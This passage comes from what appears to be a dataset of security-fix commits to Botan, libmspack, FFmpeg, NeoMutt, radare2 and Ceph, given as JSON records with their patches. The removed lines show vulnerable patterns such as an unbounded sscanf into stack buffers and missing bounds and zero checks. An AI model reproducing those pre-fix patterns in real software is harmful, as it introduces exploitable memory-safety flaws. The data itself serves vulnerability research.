m_group.multiply_mod_order(m_b, m);\n+ const BigInt xr = m_group.multiply_mod_order(m_x, m_b, r);\n+\n+ const BigInt s = m_group.multiply_mod_order(k_inv, xr + m, m_b_inv);\n \n // With overwhelming probability, a bug rather than actual zero r/s\n if(r.is_zero() || s.is_zero())\n@@ -144,7 +159,7 @@ bool ECDSA_Verification_Operation::verify(const uint8_t msg[], size_t msg_len,\n \n const BigInt w = m_group.inverse_mod_order(s);\n \n- const BigInt u1 = m_group.multiply_mod_order(e, w);\n+ const BigInt u1 = m_group.multiply_mod_order(m_group.mod_order(e), w);\n const BigInt u2 = m_group.multiply_mod_order(r, w);\n const PointGFp R = m_gy_mul.multi_exp(u1, u2);\n \n@@ -198,7 +213,7 @@ ECDSA_PublicKey::create_verification_op(const std::string& params,\n }\n \n std::unique_ptr\n-ECDSA_PrivateKey::create_signature_op(RandomNumberGenerator& /*rng*/,\n+ECDSA_PrivateKey::create_signature_op(RandomNumberGenerator& rng,\n const std::string& params,\n const std::string& provider) const\n {\n@@ -233,7 +248,7 @@ ECDSA_PrivateKey::create_signature_op(RandomNumberGenerator& /*rng*/,\n #endif\n \n if(provider == \"base\" || provider.empty())\n- return std::unique_ptr(new ECDSA_Signature_Operation(*this, params));\n+ return std::unique_ptr(new ECDSA_Signature_Operation(*this, params, rng));\n \n throw Provider_Not_Found(algo_name(), provider);\n }", "sections": [{"section": "@@ -51,14 +51,18 @@ class ECDSA_Signature_Operation final : public PK_Ops::Signature_with_EMSA\n public:\n \n ECDSA_Signature_Operation(const ECDSA_PrivateKey& ecdsa,\n- const std::string& emsa) :\n+ const std::string& emsa,\n+ RandomNumberGenerator& rng) :\n PK_Ops::Signature_with_EMSA(emsa),\n m_group(ecdsa.domain()),\n m_x(ecdsa.private_value())\n {\n #if defined(BOTAN_HAS_RFC6979_GENERATOR)\n m_rfc6979_hash = hash_for_emsa(emsa);\n #endif\n+\n+ m_b = m_group.random_scalar(rng);\n+ m_b_inv = m_group.inverse_mod_order(m_b);\n }\n \n size_t max_input_bits() const override { return m_group.get_order_bits(); }\n", "related": false}, {"section": "@@ -75,6 +79,8 @@ class ECDSA_Signature_Operation final : public PK_Ops::Signature_with_EMSA\n #endif\n \n std::vector m_ws;\n+\n+ BigInt m_b, m_b_inv;\n };\n \n secure_vector\n", "related": false}, {"section": "@@ -89,12 +95,21 @@ ECDSA_Signature_Operation::raw_sign(const uint8_t msg[], size_t msg_len,\n const BigInt k = m_group.random_scalar(rng);\n #endif\n \n- const BigInt k_inv = m_group.inverse_mod_order(k);\n const BigInt r = m_group.mod_order(\n m_group.blinded_base_point_multiply_x(k, rng, m_ws));\n \n- const BigInt xrm = m_group.mod_order(m_group.multiply_mod_order(m_x, r) + m);\n- const BigInt s = m_group.multiply_mod_order(k_inv, xrm);\n+ const BigInt k_inv = m_group.inverse_mod_order(k);\n+\n+ /*\n+ * Blind the input message and compute x*r+m as (x*r*b + m*b)/b\n+ */\n+ m_b = m_group.square_mod_order(m_b);\n+ m_b_inv = m_group.square_mod_order(m_b_inv);\n+\n+ m = m_group.multiply_mod_order(m_b, m);\n+ const BigInt xr = m_group.multiply_mod_order(m_x, m_b, r);\n+\n+ const BigInt s = m_group.multiply_mod_order(k_inv, xr + m, m_b_inv);\n \n // With overwhelming probability, a bug rather than actual zero r/s\n if(r.is_zero() || s.is_zero())\n", "related": false}, {"section": "@@ -144,7 +159,7 @@ bool ECDSA_Verification_Operation::verify(const uint8_t msg[], size_t msg_len,\n \n const BigInt w = m_group.inverse_mod_order(s);\n \n- const BigInt u1 = m_group.multiply_mod_order(e, w);\n+ const BigInt u1 = m_group.multiply_mod_order(m_group.mod_order(e), w);\n const BigInt u2 = m_group.multiply_mod_order(r, w);\n const PointGFp R = m_gy_mul.multi_exp(u1, u2);\n \n", "related": false}, {"section": "@@ -198,7 +213,7 @@ ECDSA_PublicKey::create_verification_op(const std::string& params,\n }\n \n std::unique_ptr\n-ECDSA_PrivateKey::create_signature_op(RandomNumberGenerator& /*rng*/,\n+ECDSA_PrivateKey::create_signature_op(RandomNumberGenerator& rng,\n const std::string& params,\n const std::string& provider) const\n {\n", "related": false}, {"section": "@@ -233,7 +248,7 @@ ECDSA_PrivateKey::create_signature_op(RandomNumberGenerator& /*rng*/,\n #endif\n \n if(provider == \"base\" || provider.empty())\n- return std::unique_ptr(new ECDSA_Signature_Operation(*this, params));\n+ return std::unique_ptr(new ECDSA_Signature_Operation(*this, params, rng));\n \n throw Provider_Not_Found(algo_name(), provider);\n }", "related": false}]} +{"owner": "kyz", "repo": "libmspack", "language": "C", "file_name": "libmspack/test/kwajd_test.c", "commit_id": "0b0ef9344255ff5acfac6b7af09198ac9c9756c8", "commit_message": "kwaj_read_headers(): fix handling of non-terminated strings", "patch": "@@ -0,0 +1,116 @@\n+/* KWAJ regression test suite */\n+\n+#ifdef HAVE_CONFIG_H\n+#include \n+#endif\n+\n+#include \n+#include \n+#include \n+#include \n+\n+unsigned int test_count = 0;\n+#define TEST(x) do {\\\n+ test_count++; \\\n+ if (!(x)) {printf(\"%s:%d FAILED %s\\n\",__FUNCTION__,__LINE__,#x);exit(1);} \\\n+} while (0)\n+\n+/* test parsing of KWAJ filename/extension headers */\n+void kwajd_open_test_01() {\n+ struct mskwaj_decompressor *kwajd;\n+ struct mskwajd_header *hdr;\n+\n+ kwajd = mspack_create_kwaj_decompressor(NULL);\n+ TEST(kwajd != NULL);\n+\n+ hdr = kwajd->open(kwajd, \"test_files/kwajd/f00.kwj\");\n+ TEST(hdr != NULL);\n+ TEST(hdr->filename == NULL);\n+ kwajd->close(kwajd, hdr);\n+\n+#define TEST_FNAME(testfile, fname) \\\n+ hdr = kwajd->open(kwajd, testfile); \\\n+ TEST(hdr != NULL); \\\n+ TEST(hdr->filename != NULL); \\\n+ TEST(!strcmp(fname, hdr->filename)); \\\n+ kwajd->close(kwajd, hdr)\n+#define TEST_FNAME_BAD(testfile) \\\n+ hdr = kwajd->open(kwajd, testfile); \\\n+ TEST(hdr == NULL); \\\n+ TEST(kwajd->last_error(kwajd) == MSPACK_ERR_DATAFORMAT)\n+\n+ TEST_FNAME(\"test_files/kwajd/f01.kwj\", \".1\");\n+ TEST_FNAME(\"test_files/kwajd/f02.kwj\", \".12\");\n+ TEST_FNAME(\"test_files/kwajd/f03.kwj\", \".123\");\n+\n+ TEST_FNAME(\"test_files/kwajd/f10.kwj\", \"1\");\n+ TEST_FNAME(\"test_files/kwajd/f11.kwj\", \"1.1\");\n+ TEST_FNAME(\"test_files/kwajd/f12.kwj\", \"1.12\");\n+ TEST_FNAME(\"test_files/kwajd/f13.kwj\", \"1.123\");\n+\n+ TEST_FNAME(\"test_files/kwajd/f20.kwj\", \"12\");\n+ TEST_FNAME(\"test_files/kwajd/f21.kwj\", \"12.1\");\n+ TEST_FNAME(\"test_files/kwajd/f22.kwj\", \"12.12\");\n+ TEST_FNAME(\"test_files/kwajd/f23.kwj\", \"12.123\");\n+\n+ TEST_FNAME(\"test_files/kwajd/f30.kwj\", \"123\");\n+ TEST_FNAME(\"test_files/kwajd/f31.kwj\", \"123.1\");\n+ TEST_FNAME(\"test_files/kwajd/f32.kwj\", \"123.12\");\n+ TEST_FNAME(\"test_files/kwajd/f33.kwj\", \"123.123\");\n+\n+ TEST_FNAME(\"test_files/kwajd/f40.kwj\", \"1234\");\n+ TEST_FNAME(\"test_files/kwajd/f41.kwj\", \"1234.1\");\n+ TEST_FNAME(\"test_files/kwajd/f42.kwj\", \"1234.12\");\n+ TEST_FNAME(\"test_files/kwajd/f43.kwj\", \"1234.123\");\n+\n+ TEST_FNAME(\"test_files/kwajd/f50.kwj\", \"12345\");\n+ TEST_FNAME(\"test_files/kwajd/f51.kwj\", \"12345.1\");\n+ TEST_FNAME(\"test_files/kwajd/f52.kwj\", \"12345.12\");\n+ TEST_FNAME(\"test_files/kwajd/f53.kwj\", \"12345.123\");\n+\n+ TEST_FNAME(\"test_files/kwajd/f60.kwj\", \"123456\");\n+ TEST_FNAME(\"test_files/kwajd/f61.kwj\", \"123456.1\");\n+ TEST_FNAME(\"test_files/kwajd/f62.kwj\", \"123456.12\");\n+ TEST_FNAME(\"test_files/kwajd/f63.kwj\", \"123456.123\");\n+\n+ TEST_FNAME(\"test_files/kwajd/f70.kwj\", \"1234567\");\n+ TEST_FNAME(\"test_files/kwajd/f71.kwj\", \"1234567.1\");\n+ TEST_FNAME(\"test_files/kwajd/f72.kwj\", \"1234567.12\");\n+ TEST_FNAME(\"test_files/kwajd/f73.kwj\", \"1234567.123\");\n+\n+ TEST_FNAME(\"test_files/kwajd/f80.kwj\", \"12345678\");\n+ TEST_FNAME(\"test_files/kwajd/f81.kwj\", \"12345678.1\");\n+ TEST_FNAME(\"test_files/kwajd/f82.kwj\", \"12345678.12\");\n+ TEST_FNAME(\"test_files/kwajd/f83.kwj\", \"12345678.123\");\n+\n+ TEST_FNAME_BAD(\"test_files/kwajd/f04.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f14.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f24.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f34.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f44.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f54.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f64.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f74.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f84.kwj\");\n+\n+ TEST_FNAME_BAD(\"test_files/kwajd/f90.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f91.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f92.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f93.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f94.kwj\");\n+\n+\n+ mspack_destroy_kwaj_decompressor(kwajd);\n+}\n+\n+int main() {\n+ int selftest;\n+\n+ MSPACK_SYS_SELFTEST(selftest);\n+ TEST(selftest == MSPACK_ERR_OK);\n+\n+ kwajd_open_test_01();\n+\n+ printf(\"ALL %d TESTS PASSED.\\n\", test_count);\n+ return 0;\n+}", "sections": [{"section": "@@ -0,0 +1,116 @@\n+/* KWAJ regression test suite */\n+\n+#ifdef HAVE_CONFIG_H\n+#include \n+#endif\n+\n+#include \n+#include \n+#include \n+#include \n+\n+unsigned int test_count = 0;\n+#define TEST(x) do {\\\n+ test_count++; \\\n+ if (!(x)) {printf(\"%s:%d FAILED %s\\n\",__FUNCTION__,__LINE__,#x);exit(1);} \\\n+} while (0)\n+\n+/* test parsing of KWAJ filename/extension headers */\n+void kwajd_open_test_01() {\n+ struct mskwaj_decompressor *kwajd;\n+ struct mskwajd_header *hdr;\n+\n+ kwajd = mspack_create_kwaj_decompressor(NULL);\n+ TEST(kwajd != NULL);\n+\n+ hdr = kwajd->open(kwajd, \"test_files/kwajd/f00.kwj\");\n+ TEST(hdr != NULL);\n+ TEST(hdr->filename == NULL);\n+ kwajd->close(kwajd, hdr);\n+\n+#define TEST_FNAME(testfile, fname) \\\n+ hdr = kwajd->open(kwajd, testfile); \\\n+ TEST(hdr != NULL); \\\n+ TEST(hdr->filename != NULL); \\\n+ TEST(!strcmp(fname, hdr->filename)); \\\n+ kwajd->close(kwajd, hdr)\n+#define TEST_FNAME_BAD(testfile) \\\n+ hdr = kwajd->open(kwajd, testfile); \\\n+ TEST(hdr == NULL); \\\n+ TEST(kwajd->last_error(kwajd) == MSPACK_ERR_DATAFORMAT)\n+\n+ TEST_FNAME(\"test_files/kwajd/f01.kwj\", \".1\");\n+ TEST_FNAME(\"test_files/kwajd/f02.kwj\", \".12\");\n+ TEST_FNAME(\"test_files/kwajd/f03.kwj\", \".123\");\n+\n+ TEST_FNAME(\"test_files/kwajd/f10.kwj\", \"1\");\n+ TEST_FNAME(\"test_files/kwajd/f11.kwj\", \"1.1\");\n+ TEST_FNAME(\"test_files/kwajd/f12.kwj\", \"1.12\");\n+ TEST_FNAME(\"test_files/kwajd/f13.kwj\", \"1.123\");\n+\n+ TEST_FNAME(\"test_files/kwajd/f20.kwj\", \"12\");\n+ TEST_FNAME(\"test_files/kwajd/f21.kwj\", \"12.1\");\n+ TEST_FNAME(\"test_files/kwajd/f22.kwj\", \"12.12\");\n+ TEST_FNAME(\"test_files/kwajd/f23.kwj\", \"12.123\");\n+\n+ TEST_FNAME(\"test_files/kwajd/f30.kwj\", \"123\");\n+ TEST_FNAME(\"test_files/kwajd/f31.kwj\", \"123.1\");\n+ TEST_FNAME(\"test_files/kwajd/f32.kwj\", \"123.12\");\n+ TEST_FNAME(\"test_files/kwajd/f33.kwj\", \"123.123\");\n+\n+ TEST_FNAME(\"test_files/kwajd/f40.kwj\", \"1234\");\n+ TEST_FNAME(\"test_files/kwajd/f41.kwj\", \"1234.1\");\n+ TEST_FNAME(\"test_files/kwajd/f42.kwj\", \"1234.12\");\n+ TEST_FNAME(\"test_files/kwajd/f43.kwj\", \"1234.123\");\n+\n+ TEST_FNAME(\"test_files/kwajd/f50.kwj\", \"12345\");\n+ TEST_FNAME(\"test_files/kwajd/f51.kwj\", \"12345.1\");\n+ TEST_FNAME(\"test_files/kwajd/f52.kwj\", \"12345.12\");\n+ TEST_FNAME(\"test_files/kwajd/f53.kwj\", \"12345.123\");\n+\n+ TEST_FNAME(\"test_files/kwajd/f60.kwj\", \"123456\");\n+ TEST_FNAME(\"test_files/kwajd/f61.kwj\", \"123456.1\");\n+ TEST_FNAME(\"test_files/kwajd/f62.kwj\", \"123456.12\");\n+ TEST_FNAME(\"test_files/kwajd/f63.kwj\", \"123456.123\");\n+\n+ TEST_FNAME(\"test_files/kwajd/f70.kwj\", \"1234567\");\n+ TEST_FNAME(\"test_files/kwajd/f71.kwj\", \"1234567.1\");\n+ TEST_FNAME(\"test_files/kwajd/f72.kwj\", \"1234567.12\");\n+ TEST_FNAME(\"test_files/kwajd/f73.kwj\", \"1234567.123\");\n+\n+ TEST_FNAME(\"test_files/kwajd/f80.kwj\", \"12345678\");\n+ TEST_FNAME(\"test_files/kwajd/f81.kwj\", \"12345678.1\");\n+ TEST_FNAME(\"test_files/kwajd/f82.kwj\", \"12345678.12\");\n+ TEST_FNAME(\"test_files/kwajd/f83.kwj\", \"12345678.123\");\n+\n+ TEST_FNAME_BAD(\"test_files/kwajd/f04.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f14.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f24.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f34.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f44.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f54.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f64.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f74.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f84.kwj\");\n+\n+ TEST_FNAME_BAD(\"test_files/kwajd/f90.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f91.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f92.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f93.kwj\");\n+ TEST_FNAME_BAD(\"test_files/kwajd/f94.kwj\");\n+\n+\n+ mspack_destroy_kwaj_decompressor(kwajd);\n+}\n+\n+int main() {\n+ int selftest;\n+\n+ MSPACK_SYS_SELFTEST(selftest);\n+ TEST(selftest == MSPACK_ERR_OK);\n+\n+ kwajd_open_test_01();\n+\n+ printf(\"ALL %d TESTS PASSED.\\n\", test_count);\n+ return 0;\n+}", "related": false}]} +{"owner": "ffmpeg", "repo": "ffmpeg", "language": "C", "file_name": "libavformat/movenc.c", "commit_id": "3a2d21bc5f97aa0161db3ae731fc2732be6108b8", "commit_message": "avformat/movenc: Check input sample count\n\nFixes: division by 0\nFixes: fpe_movenc.c_199_1.wav\nFixes: fpe_movenc.c_199_2.wav\nFixes: fpe_movenc.c_199_3.wav\nFixes: fpe_movenc.c_199_4.wav\nFixes: fpe_movenc.c_199_5.wav\nFixes: fpe_movenc.c_199_6.wav\nFixes: fpe_movenc.c_199_7.wav\n\nFound-by: #CHEN HONGXU# \nSigned-off-by: Michael Niedermayer ", "patch": "@@ -5269,6 +5269,11 @@ int ff_mov_write_packet(AVFormatContext *s, AVPacket *pkt)\n else\n samples_in_chunk = 1;\n \n+ if (samples_in_chunk < 1) {\n+ av_log(s, AV_LOG_ERROR, \"fatal error, input packet contains no samples\\n\");\n+ return AVERROR_PATCHWELCOME;\n+ }\n+\n /* copy extradata if it exists */\n if (trk->vos_len == 0 && par->extradata_size > 0 &&\n !TAG_IS_AVCI(trk->tag) &&", "sections": [{"section": "@@ -5269,6 +5269,11 @@ int ff_mov_write_packet(AVFormatContext *s, AVPacket *pkt)\n else\n samples_in_chunk = 1;\n \n+ if (samples_in_chunk < 1) {\n+ av_log(s, AV_LOG_ERROR, \"fatal error, input packet contains no samples\\n\");\n+ return AVERROR_PATCHWELCOME;\n+ }\n+\n /* copy extradata if it exists */\n if (trk->vos_len == 0 && par->extradata_size > 0 &&\n !TAG_IS_AVCI(trk->tag) &&", "related": false}]} +{"owner": "neomutt", "repo": "neomutt", "language": "C", "file_name": "newsrc.c", "commit_id": "6296f7153f0c9d5e5cd3aaf08f9731e56621bdd3", "commit_message": "Set length modifiers for group and desc\n\nnntp_add_group parses a line controlled by the connected nntp server.\nRestrict the maximum lengths read into the stack buffers group, and\ndesc.", "patch": "@@ -592,16 +592,20 @@ int nntp_add_group(char *line, void *data)\n {\n struct NntpServer *nserv = data;\n struct NntpData *nntp_data = NULL;\n- char group[LONG_STRING];\n+ char group[LONG_STRING] = \"\";\n char desc[HUGE_STRING] = \"\";\n char mod;\n anum_t first, last;\n \n if (!nserv || !line)\n return 0;\n \n- if (sscanf(line, \"%s \" ANUM \" \" ANUM \" %c %[^\\n]\", group, &last, &first, &mod, desc) < 4)\n+ /* These sscanf limits must match the sizes of the group and desc arrays */\n+ if (sscanf(line, \"%1023s \" ANUM \" \" ANUM \" %c %8191[^\\n]\", group, &last, &first, &mod, desc) < 4)\n+ {\n+ mutt_debug(4, \"Cannot parse server line: %s\\n\", line);\n return 0;\n+ }\n \n nntp_data = nntp_data_find(nserv, group);\n nntp_data->deleted = false;", "sections": [{"section": "@@ -592,16 +592,20 @@ int nntp_add_group(char *line, void *data)\n {\n struct NntpServer *nserv = data;\n struct NntpData *nntp_data = NULL;\n- char group[LONG_STRING];\n+ char group[LONG_STRING] = \"\";\n char desc[HUGE_STRING] = \"\";\n char mod;\n anum_t first, last;\n \n if (!nserv || !line)\n return 0;\n \n- if (sscanf(line, \"%s \" ANUM \" \" ANUM \" %c %[^\\n]\", group, &last, &first, &mod, desc) < 4)\n+ /* These sscanf limits must match the sizes of the group and desc arrays */\n+ if (sscanf(line, \"%1023s \" ANUM \" \" ANUM \" %c %8191[^\\n]\", group, &last, &first, &mod, desc) < 4)\n+ {\n+ mutt_debug(4, \"Cannot parse server line: %s\\n\", line);\n return 0;\n+ }\n \n nntp_data = nntp_data_find(nserv, group);\n nntp_data->deleted = false;", "related": true}]} +{"owner": "neomutt", "repo": "neomutt", "language": "C", "file_name": "imap/auth_login.c", "commit_id": "e52393740334443ae0206cab2d7caef381646725", "commit_message": "quote imap strings more carefully\n\nCo-authored-by: JerikoOne ", "patch": "@@ -65,8 +65,8 @@ enum ImapAuthRes imap_auth_login(struct ImapData *idata, const char *method)\n \n mutt_message(_(\"Logging in...\"));\n \n- imap_quote_string(q_user, sizeof(q_user), idata->conn->account.user);\n- imap_quote_string(q_pass, sizeof(q_pass), idata->conn->account.pass);\n+ imap_quote_string(q_user, sizeof(q_user), idata->conn->account.user, false);\n+ imap_quote_string(q_pass, sizeof(q_pass), idata->conn->account.pass, false);\n \n /* don't print the password unless we're at the ungodly debugging level\n * of 5 or higher */", "sections": [{"section": "@@ -65,8 +65,8 @@ enum ImapAuthRes imap_auth_login(struct ImapData *idata, const char *method)\n \n mutt_message(_(\"Logging in...\"));\n \n- imap_quote_string(q_user, sizeof(q_user), idata->conn->account.user);\n- imap_quote_string(q_pass, sizeof(q_pass), idata->conn->account.pass);\n+ imap_quote_string(q_user, sizeof(q_user), idata->conn->account.user, false);\n+ imap_quote_string(q_pass, sizeof(q_pass), idata->conn->account.pass, false);\n \n /* don't print the password unless we're at the ungodly debugging level\n * of 5 or higher */", "related": false}]} +{"owner": "radareorg", "repo": "radare2", "language": "C", "file_name": "shlr/java/class.c", "commit_id": "e9ce0d64faf19fa4e9c260250fbdf25e3c11e152", "commit_message": "Fix #10498 - Fix crash in fuzzed java files (#10511)", "patch": "@@ -2070,11 +2070,9 @@ R_API RBinJavaAttrInfo *r_bin_java_read_next_attr(RBinJavaObj *bin, const ut64 o\n \n R_API RBinJavaAttrInfo *r_bin_java_read_next_attr_from_buffer(ut8 *buffer, st64 sz, st64 buf_offset) {\n \tRBinJavaAttrInfo *attr = NULL;\n-\tchar *name = NULL;\n \tut64 offset = 0;\n \tut16 name_idx;\n \tst64 nsz;\n-\tRBinJavaAttrMetas *type_info = NULL;\n \n \tif (!buffer || ((int) sz) < 4 || buf_offset < 0) {\n \t\teprintf (\"r_bin_Java_read_next_attr_from_buffer: invalid buffer size %d\\n\", (int) sz);\n@@ -2084,12 +2082,13 @@ R_API RBinJavaAttrInfo *r_bin_java_read_next_attr_from_buffer(ut8 *buffer, st64\n \toffset += 2;\n \tnsz = R_BIN_JAVA_UINT (buffer, offset);\n \toffset += 4;\n-\tname = r_bin_java_get_utf8_from_bin_cp_list (R_BIN_JAVA_GLOBAL_BIN, name_idx);\n+\n+\tchar *name = r_bin_java_get_utf8_from_bin_cp_list (R_BIN_JAVA_GLOBAL_BIN, name_idx);\n \tif (!name) {\n \t\tname = strdup (\"unknown\");\n \t}\n \tIFDBG eprintf(\"r_bin_java_read_next_attr: name_idx = %d is %s\\n\", name_idx, name);\n-\ttype_info = r_bin_java_get_attr_type_by_name (name);\n+\tRBinJavaAttrMetas *type_info = r_bin_java_get_attr_type_by_name (name);\n \tif (type_info) {\n \t\tIFDBG eprintf(\"Typeinfo: %s, was %s\\n\", type_info->name, name);\n \t\t// printf (\"SZ %d %d %d\\n\", nsz, sz, buf_offset);\n@@ -3432,7 +3431,7 @@ R_API RBinJavaAttrInfo *r_bin_java_code_attr_new(ut8 *buffer, ut64 sz, ut64 buf_\n \t// BUG: possible unsigned integer overflow here\n \tattr->info.code_attr.code_offset = buf_offset + offset;\n \tattr->info.code_attr.code = (ut8 *) malloc (attr->info.code_attr.code_length);\n-\tif (attr->info.code_attr.code == NULL) {\n+\tif (!attr->info.code_attr.code) {\n \t\teprintf (\"Handling Code Attributes: Unable to allocate memory \"\n \t\t\t\"(%u bytes) for a code.\\n\", attr->info.code_attr.code_length);\n \t\treturn attr;\n@@ -3777,10 +3776,6 @@ R_API RBinJavaAttrInfo *r_bin_java_line_number_table_attr_new(ut8 *buffer, ut64\n \n \tut32 linenum_len = attr->info.line_number_table_attr.line_number_table_length;\n \tRList *linenum_list = attr->info.line_number_table_attr.line_number_table;\n-\tif (linenum_len > sz) {\n-\t\tfree (attr);\n-\t\treturn NULL;\n-\t}\n \tfor (i = 0; i < linenum_len; i++) {\n \t\tcurpos = buf_offset + offset;\n \t\t// printf (\"%llx %llx \\n\", curpos, sz);\n@@ -3789,6 +3784,10 @@ R_API RBinJavaAttrInfo *r_bin_java_line_number_table_attr_new(ut8 *buffer, ut64\n \t\tif (!lnattr) {\n \t\t\tbreak;\n \t\t}\n+\t\t// wtf it works\n+\t\tif (offset - 2 > sz) {\n+\t\t\tbreak;\n+\t\t}\n \t\tlnattr->start_pc = R_BIN_JAVA_USHORT (buffer, offset);\n \t\toffset += 2;\n \t\tlnattr->line_number = R_BIN_JAVA_USHORT (buffer, offset);\n@@ -3982,6 +3981,10 @@ R_API RBinJavaAttrInfo *r_bin_java_local_variable_type_table_attr_new(ut8 *buffe\n \t\t\tperror (\"calloc\");\n \t\t\tbreak;\n \t\t}\n+\t\tif (offset + 10 > sz) {\n+\t\t\teprintf (\"oob\");\n+\t\t\tbreak;\n+\t\t}\n \t\tlvattr->start_pc = R_BIN_JAVA_USHORT (buffer, offset);\n \t\toffset += 2;\n \t\tlvattr->length = R_BIN_JAVA_USHORT (buffer, offset);", "sections": [{"section": "@@ -2070,11 +2070,9 @@ R_API RBinJavaAttrInfo *r_bin_java_read_next_attr(RBinJavaObj *bin, const ut64 o\n \n R_API RBinJavaAttrInfo *r_bin_java_read_next_attr_from_buffer(ut8 *buffer, st64 sz, st64 buf_offset) {\n \tRBinJavaAttrInfo *attr = NULL;\n-\tchar *name = NULL;\n \tut64 offset = 0;\n \tut16 name_idx;\n \tst64 nsz;\n-\tRBinJavaAttrMetas *type_info = NULL;\n \n \tif (!buffer || ((int) sz) < 4 || buf_offset < 0) {\n \t\teprintf (\"r_bin_Java_read_next_attr_from_buffer: invalid buffer size %d\\n\", (int) sz);\n", "related": false}, {"section": "@@ -2084,12 +2082,13 @@ R_API RBinJavaAttrInfo *r_bin_java_read_next_attr_from_buffer(ut8 *buffer, st64\n \toffset += 2;\n \tnsz = R_BIN_JAVA_UINT (buffer, offset);\n \toffset += 4;\n-\tname = r_bin_java_get_utf8_from_bin_cp_list (R_BIN_JAVA_GLOBAL_BIN, name_idx);\n+\n+\tchar *name = r_bin_java_get_utf8_from_bin_cp_list (R_BIN_JAVA_GLOBAL_BIN, name_idx);\n \tif (!name) {\n \t\tname = strdup (\"unknown\");\n \t}\n \tIFDBG eprintf(\"r_bin_java_read_next_attr: name_idx = %d is %s\\n\", name_idx, name);\n-\ttype_info = r_bin_java_get_attr_type_by_name (name);\n+\tRBinJavaAttrMetas *type_info = r_bin_java_get_attr_type_by_name (name);\n \tif (type_info) {\n \t\tIFDBG eprintf(\"Typeinfo: %s, was %s\\n\", type_info->name, name);\n \t\t// printf (\"SZ %d %d %d\\n\", nsz, sz, buf_offset);\n", "related": false}, {"section": "@@ -3432,7 +3431,7 @@ R_API RBinJavaAttrInfo *r_bin_java_code_attr_new(ut8 *buffer, ut64 sz, ut64 buf_\n \t// BUG: possible unsigned integer overflow here\n \tattr->info.code_attr.code_offset = buf_offset + offset;\n \tattr->info.code_attr.code = (ut8 *) malloc (attr->info.code_attr.code_length);\n-\tif (attr->info.code_attr.code == NULL) {\n+\tif (!attr->info.code_attr.code) {\n \t\teprintf (\"Handling Code Attributes: Unable to allocate memory \"\n \t\t\t\"(%u bytes) for a code.\\n\", attr->info.code_attr.code_length);\n \t\treturn attr;\n", "related": false}, {"section": "@@ -3777,10 +3776,6 @@ R_API RBinJavaAttrInfo *r_bin_java_line_number_table_attr_new(ut8 *buffer, ut64\n \n \tut32 linenum_len = attr->info.line_number_table_attr.line_number_table_length;\n \tRList *linenum_list = attr->info.line_number_table_attr.line_number_table;\n-\tif (linenum_len > sz) {\n-\t\tfree (attr);\n-\t\treturn NULL;\n-\t}\n \tfor (i = 0; i < linenum_len; i++) {\n \t\tcurpos = buf_offset + offset;\n \t\t// printf (\"%llx %llx \\n\", curpos, sz);\n", "related": false}, {"section": "@@ -3789,6 +3784,10 @@ R_API RBinJavaAttrInfo *r_bin_java_line_number_table_attr_new(ut8 *buffer, ut64\n \t\tif (!lnattr) {\n \t\t\tbreak;\n \t\t}\n+\t\t// wtf it works\n+\t\tif (offset - 2 > sz) {\n+\t\t\tbreak;\n+\t\t}\n \t\tlnattr->start_pc = R_BIN_JAVA_USHORT (buffer, offset);\n \t\toffset += 2;\n \t\tlnattr->line_number = R_BIN_JAVA_USHORT (buffer, offset);\n", "related": false}, {"section": "@@ -3982,6 +3981,10 @@ R_API RBinJavaAttrInfo *r_bin_java_local_variable_type_table_attr_new(ut8 *buffe\n \t\t\tperror (\"calloc\");\n \t\t\tbreak;\n \t\t}\n+\t\tif (offset + 10 > sz) {\n+\t\t\teprintf (\"oob\");\n+\t\t\tbreak;\n+\t\t}\n \t\tlvattr->start_pc = R_BIN_JAVA_USHORT (buffer, offset);\n \t\toffset += 2;\n \t\tlvattr->length = R_BIN_JAVA_USHORT (buffer, offset);", "related": false}]} +{"owner": "ceph", "repo": "ceph", "language": "C", "file_name": "src/auth/Auth.h", "commit_id": "5ead97120e07054d80623dada90a5cc764c28468", "commit_message": "auth/cephx: add authorizer challenge\n\nAllow the accepting side of a connection to reject an initial authorizer\nwith a random challenge. The connecting side then has to respond with an\nupdated authorizer proving they are able to decrypt the service's challenge\nand that the new authorizer was produced for this specific connection\ninstance.\n\nThe accepting side requires this challenge and response unconditionally\nif the client side advertises they have the feature bit. Servers wishing\nto require this improved level of authentication simply have to require\nthe appropriate feature.\n\nSigned-off-by: Sage Weil \n(cherry picked from commit f80b848d3f830eb6dba50123e04385173fa4540b)\n\n# Conflicts:\n#\tsrc/auth/Auth.h\n#\tsrc/auth/cephx/CephxProtocol.cc\n#\tsrc/auth/cephx/CephxProtocol.h\n#\tsrc/auth/none/AuthNoneProtocol.h\n#\tsrc/msg/Dispatcher.h\n#\tsrc/msg/async/AsyncConnection.cc\n\n- const_iterator\n- ::decode vs decode\n- AsyncConnection ctor arg noise\n- get_random_bytes(), not cct->random()", "patch": "@@ -136,6 +136,11 @@ struct AuthAuthorizer {\n explicit AuthAuthorizer(__u32 p) : protocol(p) {}\n virtual ~AuthAuthorizer() {}\n virtual bool verify_reply(bufferlist::iterator& reply) = 0;\n+ virtual bool add_challenge(CephContext *cct, bufferlist& challenge) = 0;\n+};\n+\n+struct AuthAuthorizerChallenge {\n+ virtual 